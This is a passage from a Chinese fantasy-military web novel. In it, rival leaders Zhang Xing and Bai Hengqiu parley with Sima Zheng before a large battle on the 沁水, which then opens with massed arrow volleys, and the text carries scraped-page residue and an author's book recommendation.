????“不错。”张行点头认可。“这天底下有野心有志向的人还是少,大部分人都只是得过且过,若能稍微比之前几年过得好,便足以安下心来……然而,有曹彻在,有大魏的土崩瓦解,这几年各处都被兼并妥当,哪里过得不比前几年好?” ????许敬祖到底是许敬祖,见状复又来笑:“首席心里明白就好,只不过接下来各家就要大战,一大战便要消耗人心的,而咱们的人心到底比他们厚重许多……开战前首席说的就极对,咱们是要开创天命的,这些人便是稍得人心,如何能与咱们比?” ????张行只是点头。 ????道理都是道理,而且说的都极对,可仅凭道理是没法直接开创天命的,四御证道,哪个不要刀兵来决?而既到了此时,便也要把心思放在刀兵上才对。 ????自己如此,白横秋、司马正也如此。 ????就这样,到了后半夜,张行方才睡着,一觉到了上午,精神抖擞,便亲自骑着黄骠马去往前线巡查,准备收拢部队,调整战线。 ????而也就是这个时候,河阳城大营内,已经收了神通的白横秋正在与营内诸将研究一些奇奇怪怪的军械。 ????“这个是雕花马面能猜到,可这个是什么?”关西宿将赵孝才不顾姿态蹲下来,拎起一个已经变形的未合拢小铁圈,面露诧异。“我做了三十年将军,未曾见过此物……是什么甲胄的装饰吗?” ????周边大小将领十几个一拥而上,都来研究,可研究了半日也都摸不着头脑,便是坐在案后的白横秋也发懵,只是没有表现出来而已。 ????过了一阵子,还是人称辛七郎的一个中郎将远远开口:“何妨找个俘虏问问?” ????“没多少俘虏,还都在河边的寨子上。”白横秋的侄女婿,监军司马张岳脱口而对。 ????“为何不押送过来?”白横秋冷冷来问。 ????张岳不敢怠慢,赶紧正色行礼:“不瞒陛下,这是因为俘虏中并无队将以上贼人,按照常例与军法,押来也无用。” ????白横秋愈发严肃:“两家十几万人打了三日,竟无一个队将俘虏?” ????“是。”张岳愈发小心起来。“陛下,杀伤是有的,而且有多处,但俘虏却无。” ????白横秋面色铁青,但到底无话了。 ????旁边此行副帅白横元见状,赶紧在座中来劝:“皇帝何必为此小事计较,一场乱战,也没有围歼,都不好收拾战场的。” ????白横秋到底给自己这个堂兄兼第一宗室大将一点面子,微微颔首。 ????而下方赵孝才早就扔了那个环,复又拎起一个铁牌来,打量上面字迹,心中惊讶,却没有再开口。 ????白横秋何等修为,早就察觉,立即来问:“赵将军,不要因为我发脾气就遮掩什么,我不是曹彻……经历过前朝,谁敢学他?” ????赵孝才立即点头,然后站起身来,将手中铁牌向前递到了御案上,语气复杂:“陛下,黜龙贼的号牌竟然做到了后备营的正卒。” ????白横秋摸着那铁牌看了一眼,果然上面清楚刻着“黜龙帮众,大行台直属后备营正卒王大河”,再翻开背面,上面赫然又刻着“二七七三二二”一串数字……也是不由心惊。 ????下方也不由议论起来。 ????正在这时,外面通传,前线大将司清河到了,而司清河既入,立即恭敬下拜:“陛下,前线急报,微臣不敢怠慢,一定与陛下面告……张贼来了,其人那面红底‘黜’字旗应该是昨夜到的新温城,其左膀徐世英也来了,加上前日就参战的其右臂雄伯南,黜龙贼军事中枢已经尽数到了沁水前线,而且看样子似乎是要放弃北面部分战场,往温城城下汇集的意思。” ????此言一出,帐内众人压不住的喧哗起来。 ????没办法,虽是惊叹张行来的这么快、这么坚决,却也不好多说什么,都只说温城保不住了。 ????“温城肯定保不住了。”白横元捏着胡子分析道。“对方既然集结,温城孤悬在敌阵后方,张行、雄伯南,魏文达也在,不晓得牛河在不在,拿下此城易如反掌……我以为,此时应该也赶紧收缩兵马,要害是控制河内城,卡住北面石山,按照原计划引他来咱们大阵当面,看他敢不敢为东都拼命?” ????“白将军说得好。”窦琦插嘴道。“咱们之前就有计划,若黜龙军来的慢,就控制沁水,顶住他们,从容攻取河阳;但他既然来的这般快,就该弃了沁水,引他过河,让他们置于险地,看他们敢不敢决战……至于温城,本是乱中取的,与他便是。” ????众人见皇帝点头,纷纷附和。 ????很快就有军令传下,让韩长眉、韩引弓两位在前线的兄弟大将收拢部队,分别往河内与石山去,同时让温城内的部队火速撤离,归于大队。 ????安排妥当,白横秋更是亲自起身,准备往前线收拢部队,控制战线,也是防止张行聚拢高手在前线围杀关西将士的意思。 ????众人自然无话。 ????倒是出帐时,司清河竟然认出了之前帐内众将都没有认出来的那个圆环:“这是得胜环,也是许多年没见了。” ????众将一起请教,更兼马上要出兵,司清河也不好卖乖,直接解释:“如镯子一般带手上的,蜀地的风俗,一般是白帝观开光后发给将士的,取谐音的意思,求个战阵庇佑,得胜而还。” ????众将哄然,只觉得无稽,对着这么个玩意研究半天。 ????更有人直接嘲讽:“给士卒做号牌还算妥当,做这个顶甚用?蜀地见在咱们这里,白帝爷还能越过咱们去庇佑他们?黑帝爷不在天上笑话?有这个铁,打几个甲片都是好的。” ????众人纷纷附和。 ????但也有人心中不安,因为按照他们对张行的打探,怕也不是个不知道轻重的,再加上这几日作战,黜龙军甲胄齐全可不是假的,反而是各营皆有装备特色,或面甲做鬼面、或马甲雕花、或刀兵挂缨、或披风绣边,不一而足,这得胜环怕也是哪个头领是蜀地人的做派而已。 ????真要是这么计较,反而是人家装备充足,士气昂昂的意思。 ????但没人说出口。 ????兵贵神速,既晓得张行亲自上阵,中午时分,白横秋也亲自领中军出了大营,然后依次收拢之前散在沁水两岸的部队,主要就是放弃沁水对岸与东段控制权,以求收缩兵力。 ????而可能是黜龙军也在做类似的事情,下面的军将不由得便默契起来,虽然战斗与冲突依然不可避免,但烈度少了许多,也没有了什么多余的追击和穿插。 ????双方忙碌了一整日,到第二日下午的时候,基本上都将兵马收拢妥当,不再有孤悬在外的孤军、孤城了。 ????当然,温城也变成了黜龙军的前线指挥枢纽,隔着沁水的新温城则是后方大本营。 ????相对应的,关西军也是如此,他们在大营合围河阳城不变的情况下,将指挥中枢移动到了小济水东侧的旧温城,与黜龙军之间一马平川,毫无阻碍的对峙。 ????“白横秋的意思,不会是想跟我们打吧?”马围听完情报,忽然来问。 ????“什么意思?”王叔勇一时不解。“他不一直在跟我们打吗?” ????“我是说他此战的方略。”马围指着西面似乎可以望见的关西军营盘道。“他的方略是不是想引诱我们过沁水,与我们决战,覆灭我们……也不用覆灭我们,只要打败我们主力,将我们撵走回去遮护邺城,那河阳城或者说东都便会丧胆吧?” ????“通过打我们而降服东都,一战而定双雄吗?”张行若有所思,然后笑道。“倒也合乎情理……只是他不怕牙崩掉吗?” ????虽然张行第一时间信了,但其余人都觉得不可置信,理由倒是跟张首席一样,凭什么觉得可以打败我们? ????“既如此,明日一早,咱们出阵挑战。”张行毫不迟疑下了决心。 ????徐世英、雄伯南、马围都没有反对,而王叔勇等将领更是大喜……前三位其实晓得张行的方略,他的确没有一战而胜的期望,毕竟北面还没发动,优势还没有建立起来,而且按照之前讨论,越拖下去河北的优势越大,所以黜龙军在此地的战略是稍微保守一些的,只要确保东都不被关西吞并就可以接受。 ????然而,越是如此,越不能在行动上保守,反而要将威风打出来,并且尝试在这里取胜才行,甚至从小的战术角度来说,黜龙军晚来了两日,营盘都没有妥当,这种时候更应该主动前压,争取时间,稳固阵地。 ????所以,张行的方略没有问题。 ????你想在这里野战解决我们,我们还想解决你呢! ????众人都无意见,便回去整备兵马。 ????翌日一早,黜龙军在温城后方背河铺陈的简易营寨上空烟雾缭绕,关西军上下虽然有些惊愕,却不耽误他们反应过来以后各自愤怒振奋,然后也赶紧大举埋锅造饭,点验兵马器械,准备白日大战。 ????上午时分,黜龙军在军议后举行了例行的“廊下食”……这种本意是之前几个朝代都城经济发达、物价腾贵,中枢为了照顾直属低级官吏侍卫而进行的餐饮补贴福利,在黜龙军这里却因为常常开会外加某种指导思想而发展成了一种特定仪式习俗,既是表达官兵平等,也是会前会后非正式沟通的场所。 ????不过这一日,众人议论纷纷,全都在即将开始的大战上,各自兴奋难耐,全无多余心思。 ????见此形状,张行也没有在说些大而无当的话,只按部就班,用完餐后便点起兵马,乃是亲自装扮妥当,黄骠马、玄色甲、大红披风,再打起红底黜字旗,请牛河为护卫,以秦宝、尉迟融分列踏白骑左右两翼,又以徐世英为中军指挥、雄伯南持大旗居中坐镇兼全军监军,然后以王叔勇为左翼指挥、徐师仁为右翼指挥,不设后军,以马围都督温城,再以刘黑榥都督骑军四营为偏师沿沁水伸张。 ????各部所领营头数量不一,但只计算越过沁水能迅速参战的部队,包括温城、安昌两城驻军,已经合计二十八营,超过五万众了。 ????黜龙军排兵布阵,出兵如鱼龙之势,早早惊动了对面的河阳大营,几乎是同一时间,关西军也大举出动列阵……双方默契的在只有四十里宽的夹河之地布置妥当,中午之前,便缓步向前推进。 ????不算哨骑,双方两翼前锋便迅速发生接触与交战。 ????与此同时,双方的中军和别动队都明显保持了克制,别动队的骑兵大队在刘黑榥的带领下缓缓游弋,等待战机,而中军则是谨慎推进,一直到双方相距数百步的 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????“派使者去对面,说是我请白公阵前一叙,让天王和魏大头领过来。”张行迅速收起那副冷淡表情,微微一笑,下达了命令,然后回头来看牛河。“司马二龙这是大宗师了?” ????牛河望着那个迅速靠近的巨人,缓缓点头:“只能是如此……老夫已经不是分毫对手了!这才几年?” ????张行也有些无语,只能勒马相待,而不过片刻,雄伯南还没来呢,对面便驰来一骑,在几名踏白骑的包围下遥遥大喊:“张首席,大英皇帝陛下请你阵前一叙!” ????张行无语……其实这种阵前唠嗑也不是不行,尤其是东都方面,确实可以聊聊,只不过张行和白横秋;河北与关西;黜龙帮与关陇;大明和大英之间,已经到了一定份上,没必要聊了。 ????刚刚双方派个使者羞辱一下对方,已经算是某种开战程序了,就是替代这种阵前唠嗑的。 ????真想唠,就凭两人修为,隔着几百步喊话又如何? ????回到眼下,现在也是真没办法,司马正过来搅局,却没有立即攻击包围他的河阳大营,必然是有话说,他一个阵营领袖兼大宗师显化之后往两军中间一立,谁还能不听他说话? ????既然司马正来了,安全有保证,张行迟疑了一下,干脆又点了几名就在中军的将领,让他们一起去长长见识。 ????果然,金甲巨人见到双方立住阵脚后干脆化作一道长虹,须臾便至,然后在两军之间消散,张行和金甲龙氅的白横秋也各自打马引众向前,两人一直走到相距十几步的距离,默契的与立在那里的司马正摆了个三角形,方才驻足。 ????然后,张行在黄骠马上与司马正拱手:“司马二郎,三年未见,风采依旧,修为更上一层了,三十多岁的大宗师,古今不能说没有,但也足以傲视天下了。” ????说完,便闭口不语。 ????白横秋见对方不理会自己,再加上情势怪异,干脆捻须不语。 ????司马正见状,就在地上负手含笑开口:“张三郎,你平素话最多,今日为何见到自家岳父却连招呼都不打?” ????“他虽是家妻养父,也是敌对贼酋,但眼瞅着是个**,何必与他浪费口舌?”张行昂然做答。“我此行,只是来看看司马二郎一人而已。” ????白横秋身后跟着数将与十几名奇经卫士,闻言各自作色,便要喝骂,还有人听到养父二字便心惊肉跳起来,倒是白横秋微一抬手,止住了喧哗:“大军相交,胜则胜,败则亡,他视我们为**,我们何尝不视他们为**,计较口舌干什么?” ????司马正笑了笑:“看来两位都已经下定决心,要一决生**,只是在下不懂,你们两家决生死,为何要来我治下的河内郡摆战场?不能在晋地在河北开战吗?白公,你是不是攻破了济源在内的七城三津,杀伤了我许多部下?张首席,你虽然晚来两日,可新温城、温城如今都在你手,其中守将、兵马都在哪儿?咱们不是有盟约吗?” ????白横秋嗤笑一声,本欲做答,但听到对方最后一问,反而止住,等待张行来言。 ????而张行丝毫不慌:“正是因为有盟约,所以才来援助司马二郎,不然邺城离这边如此近,如何比他们晚两日才到?至于两城兵马、守将,是他们仓促之中把我们当成了关西的侵略,偏偏若不动手,又会被关西贼抢占,所以才暂时控制了两城……不过你放心,两城军民虽然有些误会和损伤,但事后我都妥善安顿,过一阵子,他们就会从龙囚关回东都去了。” ????司马正耐着性子等对方说完,立即点头:“我信张三郎妥善安置了两城军民,但事到如今,我是东都之主,昔日与你立约之人,我明白告诉你,我们之间是不战之约,不是军事同盟,你不应该占我城池,伤我军民……现在请你们撤走,否则我就视你们违约了。” ????张行立即颔首:“可以,司马二郎说什么是什么……但我们与关西势不两立,所以,请你先把兵马派来……只要你的兵将到了,我们就把城让出来。” ????司马正看了看不远处厚重的关西军大营,竟然一时语塞,他敏锐意识到,自己不该跟张行做口舌之争,他来这里,是做**表态的。 ????迟疑了片刻,司马严肃相告:“两位,我来这里是想说,既起刀兵,便只能以刀兵相结……我来这里,是给两位故人最后一个机会,若你们此时撤兵,我愿意与两家相安无事,否则,两家都要承我东都的刀兵。” ????张行和白横秋都没有吭声。 ????司马正这话,乍一听是露怯,是幼稚,但两个当事人却心知肚明,恰恰是他们被司马正看穿了。 ????白横秋看起来是围住了河阳,准备鲸吞东都,实际上也是如此,但他设计的方略却是通过击败黜龙军威吓住东都,然后回身逼降,而不是直接进攻一位在东都立塔大宗师直接把守的河阳城要塞。 ????张行也类似,他从来都不想与东都翻脸,他有北面后手,有对东都长久以来的外交努力与经济渗透,他追求的是联合东都,在这里消耗关西,当然也消耗东都。 ????但现在,司马正告诉他们,想都别想。 ????而且,事到如今,谁会真的后撤呢? ????大军迫到如此,半步都没法撤的。 ????所以,结果已经注定了。 ????“朕本就是要一统四海,此行正是要从并吞东都开始,如何能退?”白横秋稍作思索,意识到没有转圜余地后,直截了当的做了宣告。 ????张行叹了口气:“司马二郎,我也不能退。” ????司马正见到宣战目的达成,笑了一下,便拱手准备告辞。 ????白横秋也准备打马归阵。 ????孰料,张行忽然抢在司马正告辞前开口:“不过司马二郎,我还是想告诉你,这天下一定是黜龙帮能得,希望你不要误判。” ????司马正和白横秋一个地下一个马上,一个正对一个转身,闻得此言,全都摇了下头。 ????“我有证据,就在此地。”张行忽然下马,不顾自己只是个宗师,去牵人家敌对阵营立塔大宗师的手。“司马二郎,能不能耽误你片刻,让我介绍一下我刚刚在中军仓促召集的几位帮中将领?” ????司马正愣了一下,到底好奇,便点了下头,任由对方将自己牵着往前走。 ????而白横秋及其随行几名大将,也都敏感回头,这个信息还是有必要留意的……说句不好听的,真打起来,白横秋扔棋子都有的放矢。 ????“你们不用下马,我做个介绍就行……”张行一边说,一边指向一人。“他叫韩二郎,没有个正经名字,是清河农户出身,三征逃人,先从张金秤做贼,当了个队将还是什么,张金秤败亡时逃了出来,又与清河通守曹善成做郡中副都尉,曹善成败亡,他才领兵投了黜龙帮。小时不曾修行,但我们打破黎阳仓他转运粮食时忽然有了奇遇,二十多筑基成功,当年白横秋出红山,联合河北官军将我们围困,进取清河时,他诈降七太保纪曾,自己一起饮用毒酒来蒙骗纪曾**,斩杀了纪曾,然后随我南下涡河,北进北地,参与黜落吞风君,如今已经凝丹……你觉得他如何?” ????司马正上下打量了一下面无表情的韩二郎,认真点头赞许:“这是个大大的英雄,天地钟爱的豪杰。” ????“他叫慕容怀廉。”张行继续指向下一人。“司马二郎知道是哪家吗?若知道我就不介绍了。” ????司马正摇头来笑:“如何不晓得慕容氏?名门之后,将门虎子。” ????慕容怀廉赶紧在马上拱手行礼。 ????“不错,他是河间大营的人,与我们争斗了数年,去年才算正式归了帮中。”张行点头,继续指向一人。“这厮叫郭敬恪,司马二郎应该听过他名字吧?” ????“听过,应该是你们帮中资历,但具体来由还不晓得。”司马正点了下头。 ????“他何止是我们帮中资历,当日我浮马过沽水,到了济阴建立黜龙帮,第一批头领里就有他,这厮贩马出身,乃是建帮的功臣。”张行笑道。“但他这厮有个天大的毛病,那就是贪财……一起的几位头领,十之**都要做大头领了,他却因为这个毛病浮浮沉沉,到现在还是个最普通的头领。” ????后面关西诸将颇多笑出声,郭敬恪尴尬欲死。 ????张行却不以为然:“夸你呢,不要惭愧。” ????郭敬恪莫名其妙,司马正也觉得怪异。 ????“他叫黄枇,现在还是暂署的头领,是个市井泼皮,家里父母早亡,跟舅舅贩驴,结果驴子被地方官吏给讹了,舅甥二人被抓了壮丁,投了张金秤,败亡后降的我们,是我第一批亲卫……” ????后面关西诸将还在笑,黄枇则则冷冷睥睨过去,司马正也愈发疑惑,只是晓得张行迟早会解释,所以并没有询问,便只是点头。 ????“他叫吕常衡,司马二郎总认识了吧?”张行指向下一人。 ????吕常衡在马上给司马正正色行礼,而司马正沉默片刻,给这位老下属也认真回礼,然后轻轻点头:“老吕,刀枪无眼,保重,保重。” ????“他叫冯惮,也是暂署的头领,是安乐冯氏的五郎,冯无佚冯公的儿子。”张行又指一人。“从县令升过来的,因为之前在河间大营做过后勤,这次整军才领兵。” ????司马正微微敛容行礼,后者也回礼,远处关西诸将也多认真打量。 ????“他叫程名起……河北县吏出身,先投的李四郎,是李四郎发掘的他,后来在思思麾下,曾被卷到东夷,是打穿了东夷回来的大头领…… ????“他叫郝义德……是正经河北大豪,义军首领…… ????“他叫沙大盛,涡水做河沙生意,淮右盟出身,他哥哥沙大通死后才投奔了我们……”张行一口气介绍了九名随行头领,包括暂署头领,却没有介绍随行的三位宗师,然后终于来问身侧的司马正。“司马二郎明白了吗?” ????司马正有些懵……他其实隐约意识到了一点什么,却抓不住。 ????倒是另一边关西诸将眼见着不认识都知道了,白横秋二度勒马回身后朝自己随行诸将扬声宣告:“你们看明白了吧?就这些乌合之众,如何是咱们名师大将的对手?此战咱们必胜无疑。” ????关西诸将一起应声,俨然得意。 ????真的得意,什么义军都还能忍,奇遇筑基的也是个说法,可什么贪财的马贩子,**舅舅的驴贩子,**哥哥的挖沙汉,这都算什么呀?还正正经经的介绍出来。 ????关西诸将勒马转回,司马正还没有反应过来,张行干脆指着那些人后背来说:“司马二郎再看看这些关西将领就知道了……这些人不用介绍,我这个北地汉都知道他们姓名……孙顺德、窦琦、赵孝才、张瑾、崔弘昇……还真有个不认识的,最后两人是谁?” ????张行每喊到一人姓名,便有一人勒马睥睨回来,便是没来得及喊到的,也都各自放慢马速。 ????而指向最后两人时,张行卡了壳,这二人干脆自己转过身来。 ????“是白横元白总管与司清河司大将军。”司马正反过来做了介绍。 ????“我想起来了,白横元老早的南阳总管,司清河老早的益州总管,是也不是?” ????“是。” ????“司马二郎,你还不明白吗?”张行催促道。 ????司马正沉默片刻,张了下嘴,欲言又止。 ????“走!”倒是白横秋意识到什么,直接下令,然后转身勒马归阵,再无迟疑。 ????关西诸将也都随从。 ????“我来说吧,这便是我们黜龙帮一定能胜的缘故了。”张行一声叹气,声音也大了起来。“这些关西大将,二十年前就是大将,不是说他们没本事,也不是嫌弃他们老,而是说白横秋根本不晓得如何从别处用人! ????“白横秋这老贼一辈子都在关陇里打混,成了大宗师也变不了,他做什么事情心里都有个榜样,有个他想当然的朝廷、军务,乃至于天下的样子,刻进他心里了!所以他选大将,就觉得一定要从这些人里选,建设制度就一定学着那个样子来……他改不了了! ????“但我们黜龙帮却不一样,我们既继承了东齐规制,又建了新的制度,我们兼容包蓄,什么人都能用!而且这些人不是没有本事,他们都是被各自的才能和时势推到此地与你相见的。 ????“所以,你不要看我们跟关西贼兵马数量相当,国力相当,但其实我们能用的力是他们的十倍!他力尽便力尽了,我们却能源源不断!” ????司马正看了看白横秋的背影,又看了看那些本能回头来望的关西宿将,然后又看了看张行,以及张行身后诸将,心中难得翻涌,却化作一句愤愤之语:“确有道理,但你黜龙帮便是再生机勃勃,又关我何事?” ????说完,其人直接腾空而起,往归河阳。 ????张行怔了怔,翻身上了黄骠马,速速归阵。 ????另一边,白横秋先归阵中,面色铁青,当场来喝:“有没有三十岁以下的,父辈、祖辈都不曾登堂**的中郎将?有没有,与朕做先锋?!有没有?!” ????身侧诸将各自凛然,尤其是跟着走了一遭的所谓名师大将,如何不晓得白横秋还是被张三郎那厮的言语给刺激到了,可大宗师不该遵循自己的道吗?如何就要动摇? ????罗方、薛亮都在,兄弟二人对视一眼,复又看向身后的十二太保马开,这厮今年刚刚三十,混一下也是可以的,而马开刚要出列,却被白横秋喝止:“你不算!有没有张三贼不认识的?!” ????但更令人不安的是,喊了半日,黜龙军那边都动起来了,这边还是没有人答应。 ????就在白横元要劝白横秋大事为重时,一名白袍昂藏小将自远端闪出下拜,遥遥大喊:“陛下,末将虽不是中郎将,可三日前随中军出轵关,遥见长河落日,侥幸凝丹,请陛下升我为中郎将,我愿为先锋!” ????白横秋大喜,远远来问:“上前报上姓名籍贯年龄!” ????“河东薛仁!二十三!”那将负着一个大弓,一路小跑上前下拜。 ????白横秋见到对方身形,愈发惊喜,伸手按住对方肩膀:“朕的伏龙卫与你!替朕搅碎那些关东乌合之众!” ????另一侧,张行当然没有人家白皇帝阵前识英雄的气运,他立在平平无奇的黄骠马,左右看了一眼,郭敬恪似乎还在生气,也不理会的,直接拔出弯刀,下达军令: ????“诸军努力向前,开战!” ????PS:推荐一本汉末历史小说《刘协:待朕看看尔等的下场!》 ????作者原话:目前尚幼,但作者历史功底和文笔都不错,并有二十多万字存稿,完本有保证,埋没在书海中比较可惜。请大家帮忙收藏和追读下。 第八十四章 风霜行(3) 午后,秋日阳光明媚,大河方向忽然吹来飒飒秋风。 但沁水西岸的双方十数万众,却并无几人在意风起……没办法,真正的战争已经开始了。 随着双方主帅的军令,战鼓隆隆,绵延十数里、广义上可能绵延数十里的庞大军阵第一梯队一起向前方涌动,甲兵在阳光的照射下熠熠生辉,密集的旗帜在风中彷佛树林一样形成了某种波浪,双方还未喊杀,仅仅是各种嘈杂喧哗之声便将一切淹没。 所有人,从仓促回到中军的两军指挥,到阵前锚定战线的双方首脑,再到两军各营各卫府的将领,包括一些有见识的寻常士卒,此时都泛起同一个念头——果然到这个地步了。 从当年大周**,河北与关陇对立开始,两家势力在这河洛之地反复征战,数得着的、让人印象深刻的大战,不下七八次。这七八次大战中,多少名师大将如野火一般燃起,又如流星一般消逝,乃至于帝王将相、权臣篡主也在这里更迭……那么现在呢? 都说现在人心思定,不会像之前那样打下去了,可便是这样又要几场这样的大战才能分出胜负呢?到时候自己在何处?会不会被人记住? 恍惚中,骑兵率先提速。 具体来说是关西军的骑兵率先提速……黜龙军不是没有足够骑兵,但在专门将四个营的骑兵营转出狭窄的战场区间到外侧后,剩余的数量不免相形见绌,各营直属骑兵只能龟缩各营中心,护卫营将,少部分成建制骑兵则留在后军以作解围后手。 实际上,虽然张首席下达了“努力向前”的军令,可真正得到中军徐大郎处指挥的黜龙军第一梯队却似乎没有那么激情,此时看来,他们军阵的移动速度远远慢于对面的关西军,明显是想尽量维持前线各营阵型。 这似乎是缺乏骑兵下不得已的方略,但也因为如此,随着部队向前接战,后方各营之间的距离变得明显大了起来。 第一波涌出来的关西骑兵足足有三四千众,分成三百到五百不等的别动队,他们蜂拥而出,第一批喊杀起来,并极速压到前线,却没有愚蠢的直扑黜龙军那甲戈铮铮的步兵阵列,而是分散的涌入到了对方军阵那宽阔到成了笑话的夹缝中,他们的任务是割裂、袭扰,然后等待战机做致命一击。 但他们中计了。 黜龙军早有准备,随着前军与对方步兵军阵逼近,连对方步兵都开始组织冲锋后,一阵号角声陡然取代了之前的鼓声,而随着号角声传开,黜龙军第一线军阵几乎是一起止步,然后连同后面的各营一起往视野中的敌军泼洒起了箭雨! 猛烈至极的箭雨! 这其中,被预留的军阵缝隙引诱到黜龙军军阵内部的关西骑兵首当其冲,相较于正面可能还有盾的步兵,他们猛地受到了来自于四面八方的齐射,几乎是瞬间便产生了非常可观的伤亡。 没办法,黜龙军的**数量太可怕了!可怕到超出想象!可怕到不正常!好像五六万人人人都有一副弓箭一样!很多关西宿将一辈子都没见过的这么大规模箭雨! 彷佛东都五月雨! 否则以关西铁骑的甲胄水平和机动性,哪来的这种伤亡? 慌乱之中,许多刚刚冲进黜龙军各营缝隙的关西骑兵掉头就跑,很多不同层级的军官也都下达了撤退的军令,而这种慌乱逃窜式的撤退可不是来时那么简单了,因为就在箭雨泼洒期间,最前线的关西军步兵已经遵循着优良的战术素养,迅速上前与黜龙军完成接战,瞬间形成了肉搏战线,这使得很多骑兵一回头就没了来路,只能被迫放弃了骑兵的机动性,一头扎入战团肉搏……毫无疑问,大战开启后,关西军一上来便吃了个大亏。 这不仅仅是伤亡问题,还让这第一波骑兵丧失了战术能力。 “黜龙军如何来的这么多**手?”关西军中军处,担任中军指挥的白横元立在之前就准备好的临时中军将台上,愕然面对了这一幕,却怎么都想不通。 的确如此,若是按照这个弓矢规制,怕是全员都是弓箭手,可这种大战难道不安排刀斧手了?不备**兵吗? 关西军为什么上来用这个突击分割战术?还不是因为早早就亲眼目睹,黜龙军到处都是**兵!所以哪来这么多弓箭手? 相较于白横元的吃惊,倒是依旧留在前军督军的白横秋很快察觉到了关碍,但也只能面无表情的盯住了自己的侧前方……彼处,张行同样没有后撤,而是带着牛河与大刀魏文达两位宗师留在了前线,只寻到了一个高地勒马观战。 没错,两位主帅兼最高战力都没有直接指挥中军,也都没有立即展开修为上的手段,而是选择了在最前线的地方放下大旗,锚定战线,对峙不动。 至于双方的中军指挥,关西军是白氏二号人物,前大魏襄阳总管、现在的大英睿王领兵部尚书兼左威卫大将军白横元;而黜龙军则是龙头兼大行台副指挥领军务部总管徐世英。 这是这种修行高手汇集同时规模庞大到极致的大战下不得已采取的双头模式。 回到宏观战场,黜龙军的把戏很快就失效了,之前堪称宏伟的箭雨很快就变得零星起来,甚至有不少黜龙军军士将碍事的**扔到了身后的骡车上,换回了长短兵器。 远处的关西军中军指挥白横元这才松了口气,晓得黜龙军到底没有什么神仙手段,只是玩了一个小把戏。 确实是小把戏,徐大郎的设计,针对黜龙军平均战斗素养低于关西-东都部队而设计的小把戏……人手一张弓或一架**,但只有三支箭矢,临阵而发,平日训练中也有要求,不需要你多准,只要你能在短时间内把三支箭矢射出去,便算是成功;装备要求也是如此,**都行,量大便宜,能发三支箭矢就算合格。 事实上,这个小把戏也的确成功了。 箭雨之后,前线肉搏开始,即便是关西骑兵还算充裕,可想要越过已经展开又堆积起来的肉搏战线以完成渗入包抄,也不免显得艰难。 原本就姿态昂然的张首席观望了片刻局势后,愈发赳赳,他可没对面的白横秋那么大的野心想着一战全胜以做威吓,对他来说,只要能维持均势对峙下去,那就是他不胜而胜了。 何况眼下明明是自家占了大便宜呢? 故此,观战的张行很快将目光甩向了自己的侧后方,继而微微蹙眉……之前他就清晰察觉到,就在第一波关西突击骑兵之中,有一支格外精锐的队伍……人数不多,两百多号人,个个都是修行者,奇经正脉各半,统一的金甲赤面黑披风,还有一位凝丹将领,打着一个薛字旗,一马当先。 彼时不想影响战术齐射,所以没有动他们,而现在,张行则不得不思索一个问题,那就是这支兵马到底是来干嘛的? 是单纯的强点冲阵以图撕开阵线?还是一个诱饵? 毕竟,以坐镇的高端战力而言,此战黜龙军这里是多位宗师加六百踏白骑的规制,而对面,应该是一位大宗师,一位坐镇河阳大营还不知道是谁的宗师,外加明显多于黜龙军、十位以上成丹的规制。 那么在这种情形下,对方抛出了宛若当年东都伏龙卫类似的一支兵马,是不是有故意引诱黜龙军宗师或者部分踏白骑过去的意味?然后白横秋就能当面压过来了?! 而且,既然像伏龙卫,那么这里面有没有类似于伏龙印的存在?这边宗师去了,那边就被束缚在地,当场格杀? 毕竟,人家白横秋去了关西,大宗师做了皇帝,说不得会有郦子期、刘文周一类的手段。 当然,也有可能一切都是自己多想,白横秋就是针对黜龙军高级战力的特点,派出的这么一队搅局的先锋!赌黜龙军不敢分出高端战力去**,以求某种临阵的突破! 想法繁复,却只是脑中回转,片刻而已,这支部队果然已经开始重新集结,并毫不犹豫的往自己这边而来。 没错,张行扭头看了好几次,终于确定,那面薛字旗没有回身去打通前线,反而领着仓促集结的剩余一百多骑直奔自己而来。 隔着足足三个营的防区往自己这边过来。 俨然是在求奇功! 张行愣在那里,片刻后才询问身侧秦宝:“昨日马分管那里统计的薛姓敌将都有谁?” “薛持、薛立、薛亮、薛万备……还有一个没弄清楚。”秦宝也注意到了那面旗帜。“应该不是薛亮和薛万备,这俩人没这个胆气,也不会被这般信任,这支骑兵太精锐了……会不会是陇西薛氏兄弟二人中的一个?” “薛挺的两个弟弟?”张行微微蹙额。“他们就能得信任?” “到底老家在陇西,虽然**大哥,也是有根底的,如何不信?”跟在一侧的大刀魏文达也不禁插嘴。“首席,请给我一百踏白骑,我去处置了他!” 张行摆手制止,回头来看牛河:“牛公,无论如何,只一个寻常凝丹吧?” 牛河蹙眉来看:“未必算是寻常吧,怎么彷佛刚刚凝丹一般?” 张行也点头,他同样是这个感觉,对方的真气在他的另类“视野”中明亮如星,确系是一名凝丹,但偏偏跃动不停,彷佛新生的火苗一般……明显是个刚刚凝丹没有稳固住丹田的人。 可要是这样,不就更奇怪了吗? “薛持听说都已经成丹了,薛立不也是老牌凝丹嘛?最起码在薛挺**的时候就已经是了。”秦宝也蹙起眉来。“便是最后那个不知道名字的也不对,因为按照情报,之前参战的五个薛字旗都是领大股兵马的,而今日这个明显是领着……伏龙卫?” “战场之上想这么多干甚?”魏文达不由催促道。“只按照分派,这些人正该咱们处置!” “也是!”张行忽然失笑。“依着白横秋的性情,如何会将要害托付给这么一队人?且让几位头领放他过来,我们就在这里速速处置了他!” “太危险了。”秦宝即刻制止。“万一真带了伏龙印一般的物件,遇到一个不怕死的豪杰,给冲到跟前损伤了几位,那就影响大局了……不值得!” “那也不能让魏大头领去了。”张行不由一叹。 “首席,便是被他用了伏龙印,我修为压下来,也能一刀斩了他!”魏文达依旧请战。 看的出来,在黜龙帮架构日益恢廓的眼下,这位幽州的战力代表有着充足的意愿通过战功获得与自己修为相称的地位。 “不必如此。”张行止住对方。“让尉迟融去好了,分一队一百五十踏白骑给他,趁着那个姓薛的闯入慕容怀廉的军阵中,压住便可……大局胜负还是放在徐大郎与我们这里。” 这便是要保守处理了。 魏文达虽然不情愿,也是无法,而秦宝则径直翻身上了斑点瘤子兽,直接驰下小坡,寻到尉迟融……后者虽然名义上是踏白骑副署,但天性好战,一开始便带着几十骑在张行周边清理战线上漏出来的部队,张行也没有约束他的理由,此时他闻得军令也是大喜,只点起一百骑便匆匆驰向那面旗帜。 张行居高而望,目送尉迟融过去,根本不用什么真气手段,便目睹那面薛字大旗竟然只在几人谈话的片刻便穿通了慕容怀廉的军阵,继续往自己这里而来。 也是不由心中微动。 